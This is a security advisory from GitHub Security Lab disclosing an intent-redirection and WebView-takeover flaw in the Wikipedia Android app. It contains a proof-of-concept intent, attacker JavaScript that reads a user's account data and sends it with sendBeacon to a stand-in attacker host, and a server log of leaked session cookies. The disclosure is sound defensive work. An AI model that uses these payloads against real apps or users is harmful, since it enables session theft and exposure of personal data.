Coordinated Disclosure Timeline
- 2026-03-30: Vulnerability reported at https://phabricator.wikimedia.org/T421794.
- 2026-04-07: Phabricator issue merged into https://phabricator.wikimedia.org/T421795 and closed.
Summary
The Wikimedia Android app (apps-android-wikipedia) allowed an explicit intent to the exported PageActivity, allowing an attacker to load arbitrary webpages. Using a local application, an attacker can load a malicious webpage that steals session cookies and leaks personal information.
Project
apps-android-wikipedia
Tested Version
Details
Intent Redirection via Exported PageActivity Donation Thank-You Flow Leads to WebView Takeover (GHSL-2026-103)
The exported PageActivity accepts ACTION_VIEW intents from any application on the device. Its handleIntent() method contains a donation thank-you code path that passes the full attacker-controlled URI to SingleWebViewActivity without any domain validation.
A malicious app on the device can send an explicit intent with a crafted URL that satisfies three non-security checks — causing the Wikipedia app to load arbitrary attacker-controlled content in an internal WebView with JavaScript enabled and a cookie-proxying OkHttpWebViewClient.
Attack flow:
- A malicious app sends an explicit intent to
PageActivity:
Intent(Intent.ACTION_VIEW).apply {
setClassName("org.wikipedia", "org.wikipedia.page.PageActivity")
data = Uri.parse("https://thankyou.attacker.com/phish?order_id=1&wmf_campaign=Android")
}
-
WikiSite(uri)callsauthorityToLanguageCode("thankyou.attacker.com"), which splits on dots and returns the first part:"thankyou". -
At
PageActivity.kt:540,"thankyou"matches an entry inNON_LANGUAGE_SUBDOMAINS. -
At
PageActivity.kt:543-552, the donation-completion checks pass:language == "thankyou",order_idquery parameter is present, andwmf_campaign == "Android". -
At
PageActivity.kt:560, the full attacker URI (uri.toString()) is passed toSingleWebViewActivity.newIntent():
startActivity(SingleWebViewActivity.newIntent(this@PageActivity, uri.toString(),
true, pageFragment.title, pageContentInfo))
SingleWebViewActivity:- Enables JavaScript (
javaScriptEnabled = true) - Calls
setCookies(targetUrl)which invokesSharedPreferenceCookieManager.loadForRequest()with the attacker URL - Loads the attacker URL in a WebView with
OkHttpWebViewClient
- Enables JavaScript (
No domain validation exists anywhere in this path
Impact
SOP bypass via OkHttpWebViewClient:
SingleWebViewActivity uses OkHttpWebViewClient, which intercepts all http/https subresource requests, proxies them through OkHttpConnectionFactory.client (which has SharedPreferenceCookieManager attached as its cookie jar), and unconditionally injects Access-Control-Allow-Origin: * on every response:
// OkHttpWebViewClient.kt:135
private fun addResponseHeaders(headers: Headers): Headers {
return headers.newBuilder().set("Access-Control-Allow-Origin", "*").build()
}
Because cookies are injected by OkHttp behind the WebView’s back (not via credentials: 'include'), the WebView treats these as non-credentialed requests and the wildcard CORS header passes. Attacker JavaScript running at https://thankyou.attacker.com can therefore call fetch() against authenticated Wikipedia API endpoints and read the response body:
// Running inside SingleWebViewActivity at https://thankyou.attacker.com:
fetch('https://en.wikipedia.org/w/api.php?action=query&meta=userinfo&uiprop=email|groups&format=json')
.then(r => r.json())
.then(data => {
// data.query.userinfo contains: name, email, groups, registration date
navigator.sendBeacon('https://thankyou.attacker.com/exfil', JSON.stringify(data));
});
-
Content spoofing / phishing: Attacker HTML is rendered inside the Wikipedia app’s
SingleWebViewActivitywith a toolbar and back button but no URL bar. The user sees what appears to be legitimate Wikipedia app content (e.g., a fake donation receipt, a fake login form). This is a convincing trusted-context phishing vector. -
Authenticated data exfiltration (SOP bypass): Via the
OkHttpWebViewClientproxy, attacker JavaScript can make authenticated cross-origin requests toen.wikipedia.orgAPI endpoints and read the responses. This allows silent exfiltration of the victim’s email address, user groups (sysop, bureaucrat, checkuser, etc.), watchlist, CSRF tokens, private drafts, and any other API-accessible data. - Session cookie exposure:
SharedPreferenceCookieManager.loadForRequest()unconditionally transferscentralauth_*cookies from stored Wikipedia domains to any request URL. WhenOkHttpWebViewClientfetches the attacker-controlled page, its OkHttp client invokes this cookie jar and sends those cookies directly to the attacker’s server.CWEs
- CWE-940: “Improper Verification of Source of a Communication Channel”
- CWE-601: “URL Redirection to Untrusted Site”
- CWE-668: “Exposure of Resource to Wrong Sphere”
Proof Of Concept
PoC App
A minimal Android app sends an explicit intent to the Wikipedia app’s exported PageActivity:
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setClassName("org.wikipedia.dev", "org.wikipedia.page.PageActivity");
intent.setData(Uri.parse(
"https://thankyou.evil-wikipedia.org/wiki/PoC"
+ "?order_id=1&wmf_campaign=Android&amount=5¤cy=USD"));
startActivity(intent);
Attacker Server
##############################################################################
# EXFIL from attacker JS inside the Wikipedia WebView
##############################################################################
[+] GET /wiki/PoC?order_id=1&wmf_campaign=Android&amount=5¤cy=USD
Host: thankyou.evil-wikipedia.org
UA : WikipediaApp/50575-dev-2026-03-26 (Android 13; Phone; sdk_gphone64_arm64 Build/TE1A.240213.009) Developer Channel
>>> COOKIE LEAK <<<
GeoIP=
WMF-Uniq=m0eIVdc36nUFZ6np7T2rfgMwAAEBAFvdz1bTEWc58FY9N9FZHH3jmmCI063r6_2T
WMF-Last-Access-Global=30-Mar-2026
[!!!] centralauth_User=Kuzzs
[!!!] centralauth_Token=
[!!!] centralauth_Session=
##############################################################################
CVE
- CVE-2026-65994
Credit
This issue was discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).
Contact
You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2026-103 in any communication regarding this issue.